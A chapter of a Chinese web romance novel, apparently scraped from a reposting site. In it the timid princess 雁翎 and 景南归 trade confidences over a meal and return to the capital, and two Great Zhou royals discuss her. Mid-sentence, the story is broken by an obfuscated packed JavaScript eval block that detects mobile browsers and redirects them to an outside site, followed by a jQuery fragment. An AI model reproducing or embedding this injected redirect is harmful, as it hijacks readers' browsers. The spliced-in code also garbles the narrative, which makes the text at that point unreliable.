20.故人音

作品:《三春雁

    庆华街上人声鼎沸,但来吃素斋菜的人并不多,这里的斋菜多是供给家中有信佛之人,或家中有白事。


    单纯过来用素斋菜的百姓,除雁翎和景南归这桌,还有一桌,是一对上了年纪的夫妻。


    街上百姓笑声明朗,斋馆里除了碗筷碰撞声,别无其他。


    雁翎话音扑落,景南归轻笑摇头,小声道:“不像我母亲,像小时候的我。”然他像他的小唯。


    雁翎长“哦”一声,也有道理,“景世子小时候也很活泼吧,孩提哪有不闹腾的。”她就不闹腾,是个例外,整日汤汤罐罐的药汤,闹腾不起来。


    她左手指腹搭在自个左肩处,“想必是看着我,怀念孩提时的欢声笑语。”不过她倒是在公主的记忆里找到过公主闹腾的时刻,尤其是跟父王母后相处,十分欢愉。


    那都不是她的,偶尔她做梦会梦到这些,醒来嘴边沾笑,还以为是她的美梦呢。


    素斋菜上齐,景南归等小二走之后,他叹口气,“后来想着爹娘为北殇而死,自己也要延续爹娘意志,便开始藏话了。”


    雁翎提筷夹菜的手稍稍一顿,“景夫子怎么愿意和我说这些了?”很奇怪不是吗,明显话中意思并非潜移默化她,而是想诉与她这个“故人”听。


    借着她说给孩提时的景南归听。


    想想也是,父母征战,孩童留家,欢天喜地等回来的是两盒骨灰,择之沉默度余生,明知爹娘为北殇战死,景南归依旧提起长剑,长枪走上了爹娘老路。


    世间弥足珍贵的瞬间,便是成为你。


    但她还是觉得他笑起来好看。


    “如今公主殿下信任微臣了吗?”景南归先错了话回。


    雁翎慢吞吞嚼完口中吃食,趁机思虑一番。


    她信任他?


    相信一个要她命的人的意思吗?


    那她不相信,顶多算是同情吧,这么一个人,为北殇兢兢业业,她不能替公主做主,但她恨不起来,也信任不起来。


    景南归看着她神色有意识被他引之思索,替她道:“是的,我娘于我乃生养之恩,公主殿下脱口的话,岂非信任我,才拿我娘相较。”


    席将军单字名晏,言外之意,是小唯足够信任他,才会将自己同他娘相提并论,毕竟小唯乃而今北殇主子,北殇于身体里的他有教养恩。


    承恩之下,茁壮成长。


    二者当然可以相提并论。


    别说雁翎了,就连公主殿下也没懂如此深奥之意,雁翎没反驳,怕露馅,露出她一无所知的馅,“景夫子说什么便是什么。”


    “既然公主殿下信微臣,微臣自然也信殿下,能帮微臣保守秘密。”


    分享只她知的秘密,恐比信任更前一步呢,雁翎左看看右看看,身后那桌客人已然离席,满堂再无他人在。


    “那景夫子想听我什么秘密呢。”话绕着绕着,雁翎就被绕进去了,她不知道,景南归跟她分享秘密,是想让她待她比一点点信任更多一步,只想着他给她分享了个秘密,她也得回一个,不然日后万一他的秘密,被旁人知晓,他肯定第一个怀疑她。


    要是她也有秘密在他那里,这情况便不会出现。


    景南归眉尾轻挑,“想听公主殿下的过去,不知殿下可否告知一二。”


    过去?


    雁翎吓得咳了两声,“我的过去,景夫子不都知晓吗,宋姑姑跟我说过的,明丞相全然告知过景夫子。”


    她没发现,自己神色恍惚了下,被景南归捕捉到了,他思前想后,否定肯定,再否定肯定,今日确定。


    小唯有事瞒着他,这件事关系到小唯究竟是不是他的小唯。


    的确,他始终想不明白,如果他的小唯也回来了,怕死一事是绝对不会发生的,但是又切切实实发生在小唯身上,是下意识的护命;如果她忘记了,在他问起小唯过去时,她眼神为什么闪躲,究竟再怕什么。


    “那公主殿下的秘密,且放一放,等殿下想说了,微臣再听。”此事不易多加追问,他可以等。


    至少他心中有了希望。


    但愿他的小唯平平安安的活在他眼前。


    ***


    又几日过去,平川城和幽州城对北殇的公主殿下大为改观,驻守平川城的将士信心大增,就连百姓都活的多了盼头。


    目的达到,雁翎和景南归也启程回都城,这次二人放缓了步伐,连轴三四日,才到了都城,二人没没着急回侯府,景南归先令车夫去了趟玉铺,拿他专程给小唯打造的大雁环佩。


    雁翎从玉铺掌柜手中提溜起环佩,大雁在圆环中间轻声转生,好似大雁喜鸣,圆环稍有瑕疵,但瑕不掩瑜。


    着实得她心意。


    看来她的眼光是极好的,还有圆环下的一朵七彩祥云底托,不似天上云,条条彩丝条条明,居然是个镂空的。


    这景南归眼光也蛮独道的。


    待出了玉铺,雁翎没择马车而归,双手负着,就这么蹦蹦跳跳走在街上。


    打她和景南归出城之后,她已然成了侯府景世子学生的消息不胫而走,待回来后,满城风云。


    说什么,景世子怎得收学生,收了她这么个怕死的,跟她年纪相仿的男女满声哀嚎,这些男女家中父母摇头惋惜。


    世人皆知北殇有一双铮铮铁骨的将军,还是夫妻,这对夫妻就是景将军和席将军,在北殇百姓心中,景南归身上必定有两位将军影子,不该为她掉在烂摊子里。


    窃窃私语的,雁翎一路上都听到了,但没关系啊,她就是她,跟是谁的学生没关系,如果她能反选,一定愿在宫中安稳度日的。


    她手里的环佩被她提溜在小拇指上,一步一响,就连地上的影子都好似满脸笑意,裙摆微微晃动,环佩霞光,让人止不住想多瞧上几眼。


    景南归默默跟在小唯身侧,令他也没想到的是,自马车入城,凡手上无事之人的目光皆朝小唯看来,甚至一些茶楼、馆子里的食客纷纷立在窗口张望。


    小唯此人,虽然怕死,心却大的很,不在乎旁人怎么说,像个没心没肺的,这样也好,最起码不受都城百姓所困。


    离之不远的一家茶楼,探头三人,衣着锦布,北殇的人几乎都认识,此三人乃大周朝商客。


    走南闯北,走遍过所有国家。


    其一女子目光直到雁翎转了街角,她才沉静小声道:“这位公主殿下,在大周朝也赫赫有名,是个怕死懦弱的主,前几日妹妹在平川城见识过,故意娇纵,满城皆为这位公主说之。”说话的女子乃是大周朝中宫唯一所出嫡女。


    姓周名宿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255567|164119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    字若誉。


    周宿转回视线,继而去看她这位野心勃勃的二皇兄,也是她欲登上皇位最大的竞争者,乃当朝皇长子周骞,由已故受宠的静和皇贵妃所出,佳人已逝,其子风采,何其风光。


    周骞满意笑笑,轻声回:“这样的人,不足为患,雁翎这个名字很好,但不该放在一只笼中雀身上。”


    这话别有深意,北殇公主不该在北殇自由之地,而该在大周皇宫里当金枝上的雀。


    这是二皇兄想纳其为皇妃。


    周宿感叹,“二皇兄,世上并非人人都愿依附权势,依妹妹看,北殇公主自由自在的,不足为据,也不应为大周朝的妻。”


    “二皇兄雄心,娶妻不可鲁莽。”说实话,依周宿对她这位二皇兄的了解,登权势,不依旁人力,比她要强上些,大周满朝想跟二皇兄结亲者,数不胜数,二皇兄却一一拒绝,话术一样,“为男子,争功名,若依岳丈,何为担当;为夫,若娶并非心爱之人,何为妻之倚靠,”她挺佩服他的。


    但这不是二皇兄想求娶北殇公主的由头,她那日故意为之,是想探探北殇到底对公主的态度如何,结果发现一位避开她马车的女子,说哭就哭,这何尝不失真性情,外面的人想进宫墙,但不是所有人都愿被困在笼子里。


    周宿母亲乃丞相府独女,她亦象尊贵荣誉,母族青睐,便自出生失了自由,也向往北殇公主的随意性格。


    这样的公主不适合待在皇宫,即便二皇兄此生唯北殇公主一人,也不能改变吃人的皇宫,能让自由的人吐出郁闷。


    周骞在意,却又不在意。


    在意的是,他想登上龙椅后,明媒正娶自己一眼定情的少女;不在意的是刚他皇妹所言,北殇公主自身愿意否。


    不喜欢可以慢慢喜欢的,就像他父皇一样,喜欢母妃,娶回去,娇宠着,直到母妃病逝,一世荣宠。


    不过他如今还只是也跟三皇妹一样的亲王,这样的身份配不上他以后的妻子,“二哥感念妹妹提醒,但二哥有句话,人活一世,若娶不到自己的爱人,白活一世。”


    周宿才不怕开罪皇兄呢,她只是不愿看着自由的人受困牢笼,还不得挣扎,二皇兄看上的不是旁人,是北殇公主,倘若公主为了大义,嫁去大周朝,便毁了公主自己美好一生。


    “皇兄若真喜欢北殇公主,又怎会将人比作雀,雁翎,大雁高飞也。”


    “皇兄你不是真的喜欢她,只是你对人一见钟情,想将人据为己有。”


    周骞也不生气,兄妹争论乃常有之事,“皇妹,你我不一样,你生来有母族,尊贵的出身,能感念万物悲苦,替万物开脱,也乃真性情之人。”


    “我呢,母妃受宠,父皇疼爱,却也是如履薄冰,唯有皇额娘和皇妹不会待我与母妃恨之入骨,皇妹与我情同手足,可是皇妹待每位皇子皇女都一样,我待他们确是泛泛。”


    “北殇的公主虽怕死,也无妨,二哥我会让她和我一样长命百岁的。”周骞神色意犹未尽地看着雁翎消失的街巷,好似少女转头朝他明媚一笑,他失笑一声,“何况就她刚刚那几步路,她的身上满是光照,身后彩虹万丈高,让人难以忘怀。”


    这会儿远在平阳侯府的雁翎,连连打了好几个喷嚏,硬生生将她从午憩阖眼正酣的睡梦中薅醒。